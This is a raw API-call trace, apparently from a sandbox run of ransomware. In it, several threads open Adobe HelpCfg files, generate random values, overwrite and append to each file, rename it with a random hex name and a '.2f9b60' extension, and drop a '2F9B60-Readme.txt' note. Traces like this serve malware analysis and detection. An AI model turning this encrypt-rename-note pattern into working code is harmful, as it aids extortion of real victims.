RtlInitAnsiString (in: DestinationString=0x2fe6fc08, SourceString="f0522d3da5719106ff96d501fb3f7bf67afc163cf23310cfec3949c04fb56a26d879cc7fabae" | out: DestinationString="f0522d3da5719106ff96d501fb3f7bf67afc163cf23310cfec3949c04fb56a26d879cc7fabae") [0166.387] RtlAnsiStringToUnicodeString (in: DestinationString=0x2fe6fbd8, SourceString="f0522d3da5719106ff96d501fb3f7bf67afc163cf23310cfec3949c04fb56a26d879cc7fabae", AllocateDestinationString=1 | out: DestinationString="f0522d3da5719106ff96d501fb3f7bf67afc163cf23310cfec3949c04fb56a26d879cc7fabae") returned 0x0 [0166.387] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862460 [0166.387] RtlFreeAnsiString (AnsiString="f") [0166.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd864f0) returned 1 [0166.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda4f0) returned 1 [0166.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda4c0) returned 1 [0166.388] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c15050) returned 1 [0166.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa920) returned 1 [0166.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b70) returned 1 [0166.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa860) returned 1 [0166.389] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c18b40) returned 1 [0166.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda490) returned 1 [0166.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda550) returned 1 [0166.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda580) returned 1 [0166.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1b862510 [0166.390] wcscat (in: _Dest=0x1b862510, _Source="f0522d3da5719106ff9" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\f0522d3da5719106ff9") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\f0522d3da5719106ff9" [0166.390] wcscat (in: _Dest=0x1b862510, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\f0522d3da5719106ff9.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\f0522d3da5719106ff9.2f9b60" [0166.390] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\f0522d3da5719106ff9.2f9b60", NtPathName=0x2fe6fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\f0522d3da5719106ff9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x1198c0 [0200.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1198c0) returned 1 [0200.413] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1a8b0) returned 1 [0200.413] NtQueryInformationFile (in: FileHandle=0x83c, IoStatusBlock=0x2fe6fc18, FileInformation=0x2fe6fc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2fe6fc18, FileInformation=0x2fe6fc28) returned 0x0 [0200.413] NtSetInformationFile (FileHandle=0x83c, IoStatusBlock=0x2fe6fc18, FileInformation=0x2fe6fc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0203.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862510) returned 1 [0203.922] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862460) returned 1 [0203.922] FlushFileBuffers (hFile=0x83c) returned 1 [0204.254] CloseHandle (hObject=0x83c) returned 1 [0208.032] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x1b7ad020 [0208.033] wcscpy (in: _Dest=0x1b7ad020, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\" [0208.033] wcscat (in: _Dest=0x1b7ad020, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\2F9B60-Readme.txt" [0208.033] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp\\2f9b60-readme.txt")) returned 0xffffffff [0208.033] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ja_jp\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2de8 [0210.085] WriteFile (in: hFile=0x2de8, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2fe6fad0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2fe6fad0*=0xba9, lpOverlapped=0x0) returned 1 [0218.145] CloseHandle (hObject=0x2de8) returned 1 [0222.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 [0222.318] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505a50) returned 1 Thread: id = 2522 os_tid = 0x1fdc [0154.923] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr\\reader_10.0.helpcfg")) returned 0x20 [0154.923] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.924] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x724 [0154.925] GetFileSizeEx (in: hFile=0x724, lpFileSize=0x2f74f820 | out: lpFileSize=0x2f74f820*=349) returned 1 [0154.925] SetFilePointerEx (in: hFile=0x724, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.925] ReadFile (in: hFile=0x724, lpBuffer=0x2f74f7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f74f7e8, lpOverlapped=0x0 | out: lpBuffer=0x2f74f7a0*, lpNumberOfBytesRead=0x2f74f7e8*=0x4, lpOverlapped=0x0) returned 1 [0154.926] SetFilePointerEx (in: hFile=0x724, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda520 [0154.926] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda5b0 [0154.927] NtQuerySystemTime (in: CurrentTime=0x2f74f6e0 | out: CurrentTime=0x2f74f6e0*=132462177600634000) returned 0x0 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x7550f5bc [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x379a9b0d [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x21455764 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0xe64a7d5 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x73da2348 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x5b6f362a [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x522259d8 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x48cd1080 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x27a434e [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x40651dd0 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x2ab0c87b [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x6adc578e [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x5aa984a3 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x44e5d1a2 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x1e61dbc0 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x49765892 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x667b59f4 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x2cb8c6c7 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x3c0c9efc [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x5b0205bf [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x3ae93da1 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x5d1e8c3f [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x68a88bce [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x5335f820 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x4b45b49 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x12054a23 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x1d3053c2 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x7bdc014 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x275baf6 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x404eb87b [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0x528ff1e9 [0154.927] RtlRandomEx (in: Seed=0x2f74f6d0 | out: Seed=0x2f74f6d0) returned 0xeb26eab [0154.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda5e0 [0154.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cc40 [0154.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda610 [0154.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cc40) returned 1 [0154.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda5b0) returned 1 [0154.937] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced21a0 [0154.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cc40 [0154.937] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4289daa0 [0154.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428a16b0 [0154.938] ReadFile (in: hFile=0x724, lpBuffer=0x4289daa0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2f74f6d0, lpOverlapped=0x0 | out: lpBuffer=0x4289daa0*, lpNumberOfBytesRead=0x2f74f6d0*=0x15d, lpOverlapped=0x0) returned 1 [0154.938] SetFilePointerEx (in: hFile=0x724, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.938] WriteFile (hFile=0x724, lpBuffer=0x428a16b0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2f74f6d4, lpOverlapped=0x0) [0186.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9140 [0186.294] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9170 [0186.295] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9170) returned 1 [0186.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428a16b0) returned 1 [0186.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4289daa0) returned 1 [0186.297] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cc40) returned 1 [0186.298] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced21a0) returned 1 [0186.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cb30 [0186.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced21a0 [0186.298] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cc40 [0186.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9170 [0186.299] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9170) returned 1 [0186.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cb70 [0186.299] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9170 [0186.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec91a0 [0186.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec91a0) returned 1 [0186.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cc40) returned 1 [0186.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced21a0) returned 1 [0186.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aa530 [0186.302] SetFilePointerEx (in: hFile=0x724, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.302] WriteFile (in: hFile=0x724, lpBuffer=0x423aa530*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2f74f7f0, lpOverlapped=0x0 | out: lpBuffer=0x423aa530*, lpNumberOfBytesWritten=0x2f74f7f0*=0x118, lpOverlapped=0x0) returned 1 [0207.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.004] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda340 [0207.005] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda340) returned 1 [0207.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda340 [0207.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda310 [0207.006] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda250 [0207.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda250) returned 1 [0207.007] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.008] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.008] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.008] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="e1") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="d7") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="40") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="fb") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="55") returned 2 [0207.008] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="85") returned 2 [0207.008] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="f4") returned 2 [0207.008] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="8c") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="46") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="d8") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="0b") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="17") returned 2 [0207.008] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="98") returned 2 [0207.008] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="d4") returned 2 [0207.008] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="49") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="42") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="00") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="2e") returned 2 [0207.008] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="7e") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.009] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="f0") returned 2 [0207.009] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="11") returned 2 [0207.009] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="ab") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="32") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="ae") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="32") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="9d") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="ae") returned 2 [0207.009] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="0c") returned 2 [0207.009] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="27") returned 2 [0207.009] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="25") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="41") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="7d") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="0e") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="24") returned 2 [0207.009] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="02") returned 2 [0207.009] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="0c") returned 2 [0207.009] RtlInitAnsiString (in: DestinationString=0x2f74f868, SourceString="e1d740fb5585f48c46d6d80b1798d44942002e7ea1f011ab32ae329dae0c2725417d0e24020c" | out: DestinationString="e1d740fb5585f48c46d6d80b1798d44942002e7ea1f011ab32ae329dae0c2725417d0e24020c") [0207.009] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f74f838, SourceString="e1d740fb5585f48c46d6d80b1798d44942002e7ea1f011ab32ae329dae0c2725417d0e24020c", AllocateDestinationString=1 | out: DestinationString="e1d740fb5585f48c46d6d80b1798d44942002e7ea1f011ab32ae329dae0c2725417d0e24020c") returned 0x0 [0207.009] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4314f9b0 [0207.010] wcscat (in: _Dest=0x4314f900, _Source="e1d740fb5585f48c46d" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\e1d740fb5585f48c46d") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\e1d740fb5585f48c46d" [0207.010] wcscat (in: _Dest=0x4314f900, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\e1d740fb5585f48c46d.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\e1d740fb5585f48c46d.2f9b60" [0207.010] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\e1d740fb5585f48c46d.2f9b60", NtPathName=0x2f74f810, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\e1d740fb5585f48c46d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310bf80 [0209.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310bf80) returned 1 [0209.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309b960) returned 1 [0209.144] NtQueryInformationFile (in: FileHandle=0x724, IoStatusBlock=0x2f74f878, FileInformation=0x2f74f888, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2f74f878, FileInformation=0x2f74f888) returned 0x0 [0209.144] NtSetInformationFile (FileHandle=0x724, IoStatusBlock=0x2f74f878, FileInformation=0x2f74f888, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314f900) returned 1 [0209.643] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314f9b0) returned 1 [0209.643] FlushFileBuffers (hFile=0x724) returned 1 [0212.754] CloseHandle (hObject=0x724) returned 1 [0215.696] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43188340 [0215.696] wcscpy (in: _Dest=0x43188340, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\" [0215.696] wcscat (in: _Dest=0x43188340, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\2F9B60-Readme.txt" [0215.696] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr\\2f9b60-readme.txt")) returned 0xffffffff [0215.696] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\ko_kr\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x25b0 [0218.150] WriteFile (in: hFile=0x25b0, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2f74f730, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2f74f730*=0xba9, lpOverlapped=0x0) returned 1 [0222.495] CloseHandle (hObject=0x25b0) returned 1 [0224.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43188340) returned 1 [0224.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505af0) returned 1 Thread: id = 2523 os_tid = 0x1fe0 [0154.947] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no\\reader_10.0.helpcfg")) returned 0x20 [0154.948] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\nb_no\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x728 [0154.949] GetFileSizeEx (in: hFile=0x728, lpFileSize=0x3001f9c0 | out: lpFileSize=0x3001f9c0*=349) returned 1 [0154.949] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.949] ReadFile (in: hFile=0x728, lpBuffer=0x3001f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3001f988, lpOverlapped=0x0 | out: lpBuffer=0x3001f940*, lpNumberOfBytesRead=0x3001f988*=0x4, lpOverlapped=0x0) returned 1 [0154.951] SetFilePointerEx (in: hFile=0x728, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.951] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda5b0 [0154.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda640 [0154.952] NtQuerySystemTime (in: CurrentTime=0x3001f880 | out: CurrentTime=0x3001f880*=132462177600790000) returned 0x0 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x3c6adc61 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0x5ff12844 [0154.952] RtlRandomEx (in: Seed=0x3001f870 | out: Seed=0x3001f870) returned 0xc42568b [0154.952] 